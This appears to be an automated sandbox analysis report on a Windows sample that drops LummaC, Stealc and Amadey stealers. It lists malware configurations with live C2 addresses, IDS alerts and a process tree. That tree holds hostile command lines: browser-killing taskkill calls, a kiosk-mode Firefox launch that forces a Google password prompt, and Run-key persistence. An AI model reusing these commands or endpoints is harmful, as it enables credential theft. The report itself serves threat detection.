Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1539514
MD5:	2ddf3e96c0a2e790aa36bcc1f2607999
SHA1:	7bc2092d410073dfae4e48e94277a55d01eee64f
SHA256:	178d3d7cf8356fb072de8ab0a493481c30c9f4b7559cec3f439a55a4135aee24
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Excessive usage of taskkill to terminate processes

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6900 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2DDF3E96C0A2E790AA36BCC1F2607999)

R35D5PNQKQVRTA7D.exe (PID: 3148 cmdline: "C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe" MD5: E482A6DBDD0295FBA6C2780B1BE55B79)

skotes.exe (PID: 4128 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: E482A6DBDD0295FBA6C2780B1BE55B79)

LDYMRYSK15TF568PLM3O1A8XS.exe (PID: 5388 cmdline: "C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe" MD5: C4E6EE23E53A5DB6BBBA123A40F78633)

1SC0KN6KHBFFEX9LB9FR.exe (PID: 7204 cmdline: "C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe" MD5: AEFC5D767F773478D75E671284F4BF2A)

skotes.exe (PID: 1992 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E482A6DBDD0295FBA6C2780B1BE55B79)

skotes.exe (PID: 7596 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E482A6DBDD0295FBA6C2780B1BE55B79)

805c374e44.exe (PID: 7860 cmdline: "C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe" MD5: 2DDF3E96C0A2E790AA36BCC1F2607999)

NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe (PID: 4872 cmdline: "C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe" MD5: E482A6DBDD0295FBA6C2780B1BE55B79)

DC91U752866P4RTKEWI6.exe (PID: 8088 cmdline: "C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe" MD5: C4E6EE23E53A5DB6BBBA123A40F78633)

3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe (PID: 5868 cmdline: "C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe" MD5: AEFC5D767F773478D75E671284F4BF2A)

2de90f6e61.exe (PID: 8036 cmdline: "C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe" MD5: C4E6EE23E53A5DB6BBBA123A40F78633)

e65c930c15.exe (PID: 2832 cmdline: "C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe" MD5: 551A25A3B025A6EDBFF0FDED5871E3E0)

taskkill.exe (PID: 3364 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5868 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7036 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2656 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7464 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6496 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7500 cmdline: "C:\Users\user\AppData\Local\Temp\1000779001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

firefox.exe (PID: 3904 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4184 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5928 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2296 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2208 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {34b6ca91-56d8-413a-88d7-ee30912c0c14} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 1ba9f06e710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1448 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4468 -parentBuildID 20230927232528 -prefsHandle 4460 -prefMapHandle 4456 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c5273e2e-201f-4d21-b74a-5307ad1e4b40} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 1bab1427e10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

805c374e44.exe (PID: 7092 cmdline: "C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe" MD5: 2DDF3E96C0A2E790AA36BCC1F2607999)

2de90f6e61.exe (PID: 2852 cmdline: "C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe" MD5: C4E6EE23E53A5DB6BBBA123A40F78633)

e65c930c15.exe (PID: 344 cmdline: "C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe" MD5: 551A25A3B025A6EDBFF0FDED5871E3E0)

taskkill.exe (PID: 4472 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7512 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3608 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5864 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5528 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5852 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5736 cmdline: "C:\Users\user\AppData\Local\Temp\1000779001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["mobbipenju.store", "eaglepawnoy.store", "spirittunek.store", "clearancek.site", "studennotediw.store", "bathdoomgaz.store", "licendfilteo.site", "dissapoiznw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1000779001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1000779001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000003.2210936334.000000000154F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000000D.00000002.2155410034.000000000096E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1830747500.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000000.2199906400.0000000000F11000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.1768988516.0000000000461000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000003.2284540451.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.1832002516.0000000000FE1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.2331265638.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.2374193496.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.1792693970.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000000.2440197352.0000000000F11000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.2481601869.00000000001F1000.00000040.00000001.01000000.0000001D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.2216291454.0000000000F11000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.1784499873.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.2347254585.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2156064791.0000000000F61000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.2485310280.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.2372440457.0000000000461000.00000040.00000001.01000000.0000001C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.1833170669.00000000004B1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2114768262.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1742502853.0000000004D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.1727331579.0000000005230000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.2377672414.0000000000F61000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.1825442095.00000000004B1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2214966614.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.1950474134.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6900	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: LDYMRYSK15TF568PLM3O1A8XS.exe PID: 5388	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: LDYMRYSK15TF568PLM3O1A8XS.exe PID: 5388	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 805c374e44.exe PID: 7860	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 805c374e44.exe PID: 7860	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 805c374e44.exe PID: 7860	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2de90f6e61.exe PID: 8036	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2de90f6e61.exe PID: 8036	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e65c930c15.exe PID: 2832	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 7500	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 7500	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2de90f6e61.exe PID: 2852	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2de90f6e61.exe PID: 2852	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: DC91U752866P4RTKEWI6.exe PID: 8088	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: DC91U752866P4RTKEWI6.exe PID: 8088	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: num.exe PID: 5736	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 38 entries

Unpacked PEs

Source	Rule	Description	Author
31.0.num.exe.f10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.R35D5PNQKQVRTA7D.exe.460000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.2.DC91U752866P4RTKEWI6.exe.1f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.skotes.exe.4b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
40.0.num.exe.f10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
31.2.num.exe.f10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.4b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.2de90f6e61.exe.f60000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
34.2.NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.460000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.LDYMRYSK15TF568PLM3O1A8XS.exe.fe0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
33.2.2de90f6e61.exe.f60000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7596, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\805c374e44.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7596, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\805c374e44.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:22.670374+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49707	172.67.206.204	443	TCP
2024-10-22T19:24:24.280755+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49708	172.67.206.204	443	TCP
2024-10-22T19:24:34.839434+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49714	172.67.206.204	443	TCP
2024-10-22T19:25:17.248467+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49729	172.67.206.204	443	TCP
2024-10-22T19:25:18.608265+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49730	172.67.206.204	443	TCP
2024-10-22T19:25:30.041022+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49749	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:22.670374+0200	2049836	1	A Network Trojan was detected	192.168.2.8	49707	172.67.206.204	443	TCP
2024-10-22T19:25:17.248467+0200	2049836	1	A Network Trojan was detected	192.168.2.8	49729	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:24.280755+0200	2049812	1	A Network Trojan was detected	192.168.2.8	49708	172.67.206.204	443	TCP
2024-10-22T19:25:18.608265+0200	2049812	1	A Network Trojan was detected	192.168.2.8	49730	172.67.206.204	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:42.123941+0200	2019714	2	Potentially Bad Traffic	192.168.2.8	49717	185.215.113.16	80	TCP
2024-10-22T19:25:27.582124+0200	2019714	2	Potentially Bad Traffic	192.168.2.8	49740	185.215.113.16	80	TCP
2024-10-22T19:25:42.526282+0200	2019714	2	Potentially Bad Traffic	192.168.2.8	49751	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:25:15.939035+0200	2044696	1	A Network Trojan was detected	192.168.2.8	49727	185.215.113.43	80	TCP
2024-10-22T19:25:21.601641+0200	2044696	1	A Network Trojan was detected	192.168.2.8	49732	185.215.113.43	80	TCP
2024-10-22T19:25:26.686504+0200	2044696	1	A Network Trojan was detected	192.168.2.8	49738	185.215.113.43	80	TCP
2024-10-22T19:25:31.666241+0200	2044696	1	A Network Trojan was detected	192.168.2.8	49757	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:19.260599+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.8	58528	1.1.1.1	53	UDP
2024-10-22T19:25:14.745331+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.8	64650	1.1.1.1	53	UDP
2024-10-22T19:25:29.679302+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.8	58618	1.1.1.1	53	UDP
2024-10-22T19:26:01.720126+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.8	51586	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:19.178952+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.8	64181	1.1.1.1	53	UDP
2024-10-22T19:25:14.677645+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.8	60982	1.1.1.1	53	UDP
2024-10-22T19:25:29.614677+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.8	49247	1.1.1.1	53	UDP
2024-10-22T19:26:01.639805+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.8	58940	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:19.220791+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.8	56210	1.1.1.1	53	UDP
2024-10-22T19:25:14.724421+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.8	50872	1.1.1.1	53	UDP
2024-10-22T19:25:29.652797+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.8	63026	1.1.1.1	53	UDP
2024-10-22T19:26:01.698281+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.8	63257	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:19.206862+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.8	59103	1.1.1.1	53	UDP
2024-10-22T19:25:14.711909+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.8	64850	1.1.1.1	53	UDP
